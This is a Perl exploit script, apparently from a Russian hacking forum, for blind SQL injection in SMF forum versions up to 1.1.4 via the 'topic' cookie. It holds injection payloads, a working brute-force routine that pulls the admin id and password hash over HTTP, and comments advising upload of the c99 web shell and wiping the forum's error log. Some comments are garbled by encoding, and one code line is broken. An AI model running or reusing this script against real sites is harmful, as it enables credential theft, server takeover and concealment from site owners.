#!/usr/bin/perl ########################################################### ######################### LOGO ########################## ########################################################### # SMF <= 1.1.4 SQL Injection Exploit # # (http://www.simplemachines.org/) # # # # [u]used: SQL-inj in _COOKIE[topic] # # [w]work: blind sql-inj with more1row # # [n]need: register_globals=ON # # [n]need: database prefix # # [n]need: Mysql => 4.1 # # [g]google: Powered by SMF # # # # c0d3d by Elekt (www.antichat.ru) # # 13.12.2007 # ########################################################### ####################### Coments ######################### ########################################################### # # �������� ���� ����������� ���������� ������������ SQL-������ �� �������� ������ SMF. # ######################## intro ######################### # # ��������: # ��������� ������������ ����� ��������� ������������ SQL-������ � ����. # ������ ��������� �������� �� ���������� ���������� � ��������� $_COOKIE[topic] ������� /Sources/QueryString.php # ######################## fuck ######################### # # �������� ������� ��� benchmark(). �������� ��� sleep(). �������� ��� delay(). # # M M OOOO RRRR EEEEE 111 RRRR OOOO W W W # MM MM O O R R E 1111 R R O O W W W W # M M M M O O RRRR EEE 11 RRRR O O W W W W # M M M O O R RR E 11 R RR O O W W W W # M M M OOOO R R EEEEE == 11 == R RR OOOO W W # # ����� ������������ ��������� ��� ����������� ������ sql-��������. # /thread35207.html # # New Benchmark alternative or effective blind SQL-injection # http://www.milw0rm.com/papers/149 # # � ���� ���������? # ########################### need! ######################### # # ��� ������������ ���������� ���������: # # - Mysql => 4.1 # - register_globals=ON # - prefix (default 'smf_') # ########################### code ######################### # # ������� ��������� ����: # # # /Sources/QueryString.php # # ............... # // Let's not depend on the ini settings... why even have COOKIE in there, anyway? # $_REQUEST = $_POST + $_GET; # ............... # if (isset($_REQUEST['topic'])) # { # ............... # } # # /Sources/Load.php # # // Check for moderators and see if they have access to the board. # function loadBoard() # { # ............... # if (empty($temp)) # { # $request = db_query(" # SELECT # c.ID_CAT, b.name AS bname, b.description, b.numTopics, b.memberGroups, # b.ID_PARENT, c.name AS cname, IFNULL(mem.ID_MEMBER, 0) AS ID_MODERATOR, # mem.realName" . (!empty($topic) ? ", b.ID_BOARD" : '') . ", b.childLevel, # b.ID_THEME, b.override_theme, b.permission_mode, b.countPosts # FROM ({$db_prefix}boards AS b" . (!empty($topic) ? ", {$db_prefix}topics AS t" : '') . ") # LEFT JOIN {$db_prefix}categories AS c ON (c.ID_CAT = b.ID_CAT) # LEFT JOIN {$db_prefix}moderators AS mods ON (mods.ID_BOARD = " . (empty($topic) ? $board : 't.ID_BOARD') . ") # LEFT JOIN {$db_prefix}members AS mem ON (mem.ID_MEMBER = mods.ID_MEMBER) # WHERE b.ID_BOARD = " . (empty($topic) ? $board : "t.ID_BOARD # AND t.ID_TOPIC = $topic"), __FILE__, __LINE__); # # /Sources/Subs.php # # function db_query($db_string, $file, $line) # { # .............. # if (empty($modSettings['disableQueryCheck'])) # { # .............. # $clean .= substr($db_string, $old_pos); # $clean = trim(strtolower(preg_replace(array('~\s+~s', '~/\*!40001 SQL_NO_CACHE \*/~', '~/\*!40000 USE INDEX \([A-Za-z\_]+?\) \*/~'), array(' ', '', ''), $clean))); # // We don't use UNION in SMF, at least so far. But it's useful for injections. # if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) # $fail = true; # // Comments? We don't use comments in our queries, we leave 'em outside! # elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, ';') !== false) # $fail = true; # // Trying to change passwords, slow us down, or something? # elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0) # $fail = true; # elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0) # $fail = true; # // Sub selects? We don't use those either. # elseif (preg_match('~\([^)]*?select~s', $clean) != 0) # $fail = true; # # ########################## expl ############################ # # Exploit: # # COOKIE: topic=if(ascii(substring((#)%0Aselect concat(id_member,0x3A,passwd) from smf_members where is_activated=1 AND id_member=1 limit 1),1,1))<1,1,(#)%0Aselect null from smf_members)); # # COOKIE: topic=if(ascii(substring((#)%0Aselect concat(id_member,0x3A,passwd) from smf_members where is_activated=1 AND id_member=1 limit 1),1,1))<254,1,(#)%0Aselect null from smf_members)); # ########################## sql-info ########################### # # SMF # # smf_members # - id_member # - member_name # - passwd # - password_salt # - email_address # - member_ip # - member_ip2 # ######################## password ########################### # # �������� ��������� �������: # sha1(strtolower($username).$password) # ����������� PasswordPro. # ######################## session ########################### # # ���� �� ���� ����������. ���������� ����������� ������. # ######################## SHELL ############################# # # Admin => Configuration => Manage and Install => Install a New Theme # # c99.zip # # /Themes/c99/c99.php # ####################### !!CLEANLOG!!! ###################### # # Admin => Maintenance => Forum Error Log => Remove ALL # ######################## Google ########################### # # Google: Powered by SMF # ########################################################### ######################## init ########################### ########################################################### use LWP::UserAgent; use HTTP::Request; use Getopt::Std; $|=1; &header;(); ########################################################### ####################### Options ######################### ########################################################### getopt("h:d:i:S:p:t:P:"); if (!$opt_h) {&info;(); exit();} $host = $opt_h; # ������� ���� $dir = '/'; $dir = $opt_d if $opt_d; # ���� � ���� ����� #$id = 'additional_groups LIKE 0x312c25 or additional_groups LIKE 0x252c312c25 or additional_groups=1'; $id = 'additionalGroups LIKE 0x312c25 or additionalGroups LIKE 0x252c312c25 or additionalGroups=1'; $id = 'id_member='.$opt_i if $opt_i; $dos = 0; #$space = "char(58)"; # ����������� �������� $space = "0x3A"; # ����������� �������� $search = "concat(id_member,$space,passwd)"; # id_member:passwd $search = $opt_S if $opt_S; $prefix = 'smf_'; $prefix = $opt_p if $opt_p; if(!$opt_t){if($dos){$timeout = 0;}else{$timeout = 60;};}else{$timeout = $opt_t;} $sock=LWP::UserAgent->new(timeout=>$timeout); $sleep=0; # �������� ���������� ��������. �������� ����������. $debug = 0; # ����� ������� @match=('test', ' ){ chomp(@brauser = ); } close(USERAGENT); #$proxy = "127.0.0.1:81"; $proxy = $opt_P if $opt_P; #SOCKS : $sock->proxy('socks'=>'http://'.$proxy) if $proxy; $sock->proxy('http'=>'http://'.$proxy) if $proxy; ########################################################### ######################### go! ########################### ########################################################### $time=localtime; &log; ("\n\n"); &log; ("[i] Start time $time\n"); &log; ("[+] HOST \"$host\"\n"); &log; ("[+] DIR \"$dir\"\n"); &log; ("[+] Admin ID \"$id\"\n") if $opt_i; &log; ("[+] Search \"$search\"\n"); &log; ("[+] Prefix \"$prefix\"\n"); &log; ("[i] Timeout \"$timeout\"\n"); &log; ("[+] Proxy \"$proxy\"\n") if $proxy; ########################################################### ###### detecting vulnerability and searching prefix ####### ########################################################### # �������� �� ���������� &log; ("[~] Testing SMF vulnerability... "); $post='aaaaaaaaa'; $answer=sender('GET',$host,$dir,'index.php',$post,$match[1]); if($answer ne $match[1]){&log; ("Yes!\n[+] SMF vulnerable!\n"); } else { &log; ("Sorry.\n[-] SMF unvulnerable\n[i] EXIT\n\n"); exit(1); } # ������ �������� ������ �������. # ���� ��� ���� 4.1 , �� ���������� �� �� ������ � ����� ���� ������ �� �������� if(!$dos){ &log; ("[~] Testing MySQL version... "); $post='(#)%0Aselect 1)'; $answer=sender('GET',$host,$dir,'index.php',$post,$match[1]); if($answer eq $match[1]){&log; ("OK!\n[+] MySQL => 4.1\n");} else { &log; ("Sorry.\n[-] MySQL < 4.1. Only DoS is possible =(\n[i] EXIT\n\n"); &greets;(); exit(); } } # ������ �������� ������� ��. if(!$dos){ &log; ("[~] Testing prefix '$prefix'... "); $post='(#)%0Aselect 1 from '.$prefix.'members limit 1)'; $answer=sender('GET',$host,$dir,'index.php',$post,$match[1]); if($answer eq $match[1]){&log; ("OK!\n[+] Prefix is correct!\n");} else { &log; ("Sorry.\n[-] Prefix is not correct.\n[i] EXIT\n\n"); &greets;(); exit(); } } ########################################################### #################### sql-injection ###################### ########################################################### &log; ("\n[~] Searching in progress... : "); $admin = &brutforce;('(#)%0Aselect '.$search.' from '.$prefix.'members where '.$id.')',$prefix,''); if(($admin eq '')||($admin =~/error/i)){&log; ("\n[i] Found error. Please, restart exploit.\n[i] EXIT\n\n");} else{&log; ("\n[+] Ok! Date found successfully.\n");} ########################################################### ######################### EXIT ############################ ########################################################### &greets;(); exit(); ########################################################### ##################### brutforce ####################### ########################################################### # brutforce sub brutforce() { $search = $_[0]; $prefix = $_[1]; $where = $_[2]; #&log; ("[~] Brutforce begin! it may take some time, plz, wait...\n"); $kol=1; # ������ ������� � ���������, ��������� �������� for ($control=0;$control==0;){ &log;("\n---------------- Simvol $kol ----------------\n\n") if $debug; $amin = 1; $amax = length($presetascii)-1; print("[*]") if !$debug; # ���� �������� 4 � ����� ��������, �������������� ��������, �������� ��� � 2 ���� while (($amax-$amin)>=4){ print ("-> Try ".ord(substr($presetascii,$amin,1))." .. ".ord(substr($presetascii,$amax,1))." -> ") if $debug; &status; if !$debug; $post = "if(ascii(substring(".$search.",".$kol.",1))>=".ord(substr($presetascii,int($amax-($amax-$amin)/2),1)).',1,(#)%0Aselect null from '.$prefix.'members))'; sleep($sleep); if (sender('GET',$host,$dir,'index.php',$post,$match[1]) eq $match[1]) { print ("Char>=".ord(substr($presetascii,int($amax-($amax-$amin)/2),1))."\n") if $debug;; $amin=int($amax-($amax-$amin)/2); } else { print ("Char<".ord(substr($presetascii,int($amax-($amax-$amin)/2),1))."\n") if $debug;; $amax=int($amax-($amax-$amin)/2); }; } # ���� �������� ����� 4-� ��������, �� ��������� � �������� while ($amin<=$amax) { print ("-> Try ".ord(substr($presetascii,$amin,1))." ->") if $debug; &status; if !$debug; # ��������� ����� �������, ���� ����� ������������� �� ������� ������ � ���� ��������� ������ � �����, ���� �� ���������� ������ - �����. $post = "if(ascii(substring(".$search.",".$kol.",1))=".ord(substr($presetascii,$amin,1)).',1,(#)%0Aselect null from '.$prefix.'members))'; sleep($sleep); if (sender('GET',$host,$dir,'index.php',$post,$match[1]) eq $match[1]) { &log; (" FOUND!\n-> Ascii: ".ord(substr($presetascii,$amin,1))."\n-> Char: \"".substr($presetascii,$amin,1)."\"\n") if $debug;; print("\b\b\b") if !$debug; #&log; ("[$kol] Find - ascii:\"".ord(substr($presetascii,$amin,1))."\", char:\"".substr($presetascii,$amin,1)."\"\n") if !$debug; &log; (substr($presetascii,$amin,1)) if !$debug; $rezultat_char = $rezultat_char.substr($presetascii,$amin,1); $rezultat_ascii = $rezultat_ascii.ord(substr($presetascii,$amin,1)).","; $amin=$amax+1;$control=1;} else { print (" NO =(\n") if $debug; $amin=$amin+1; }; } if ($control==0) { if($amin!=5){$rezultat_char = $rezultat_char."?";$rezultat_ascii = $rezultat_ascii."?,"; #&log; ("[$kol] Error! not found =( \$amin=$amin\n") if !$debug; &log; ('[error!]') if !$debug; &log; (" Error! not found =(\n") if $debug; }else{$control=1;} }else {$control=0;} $kol++; } #&log; ("\n[i] Char: $rezultat_char\n[*] Ascii: $rezultat_ascii\n"); return $rezultat_char; } ########################################################### ######################## header ########################## ########################################################### # ����� sub header() { print q( =_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_= + SMF <= 1.1.4 SQL Injection Exploit + + (http://www.simplemachines.org/) + + + + [u]used: SQL-inj in _COOKIE[topic] + + [w]work: blind sql-inj with more1row + + [n]need: register_globals=ON + + [n]need: database prefix + + [n]need: Mysql => 4.1 + + [g]google: Powered by SMF + + + + c0d3d by Elekt (www.antichat.ru) + + 13.12.2007 + =_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_=_+ ); } ########################################################### ######################## info ########################## ########################################################### # ���� sub info() { print q( [i] Usage: perl smf114expl.pl -h -d -i -S -p -t -P *-required *-h - target host without http:// -d - path (default="/") -i - admin id (default auto_detect) -S - searching column (default id:passwd) -p - database prefix (default smf_) -t - timeout -P - proxy, example 127.0.0.1:81 [E] Example: perl smf114expl.pl -h www.simplemachines.org -d /community/ -i 1 [i] SMF: sha1(strtolower(\$username).\$password) ); } ########################################################### ######################## greets ########################## ########################################################### # ������� � ������������� sub greets() { $time=localtime; &log; ("\n[i] Finish time $time\n\n"); &log; ("[i] Total: $n queries\n\n"); &log; ("[G] Greets: regards all my Antichat's friends! \n"); &log; ("[L] Visit : www.antichat.ru \n\n\n"); } ########################################################### ##################### user-agent ####################### ########################################################### # ��������� ����-����� sub brauser{ srand; $rand = rand @brauser; return "$brauser[$rand]"; } ########################################################### ######################## log ########################## ########################################################### # ��� sub log($) { open(RES,">>".$host."_log.txt") || die "\r\n[-] Cannot open log file!\r\n"; ## ��������� ��� ��� �������� print ("$_[0]"); print RES ("$_[0]"); close(RES); } ########################################################### ######################## status ######################### ########################################################### # ������-���. �������� � ��� =) sub status() { $status = $n % 4; if($status==0){ print "\b\b/]"; } if($status==1){ print "\b\b-]"; } if($status==2){ print "\b\b\\]"; } if($status==3){ print "\b\b|]"; } } ########################################################### ####################### sender ######################### ########################################################### # ��������� ������\������� ������ ��� ����� sub sender(){ my($metod,$host,$dir,$page,$post,$firstsearch) = @_; $n++; sleep($sleep); $req = HTTP::Request->new($metod => "http://".$host.$dir.$page); $req->user_agent(&brauser;()); $req->push_header('Referer'=>$host.$dir); $req->push_header('Cookie'=>'topic='.$post.';'); $res = $sock->request($req); if($res->is_success) #if($res->is_error) #if($res->is_redirect){return 'ok';} { if($res->as_string =~/$firstsearch/i){return $firstsearch;} } elsif($res->is_error){if(!$dos){&log; ("\n[!] Connection to $host FAILED! EXIT\n"); exit();};} else{return "no";} }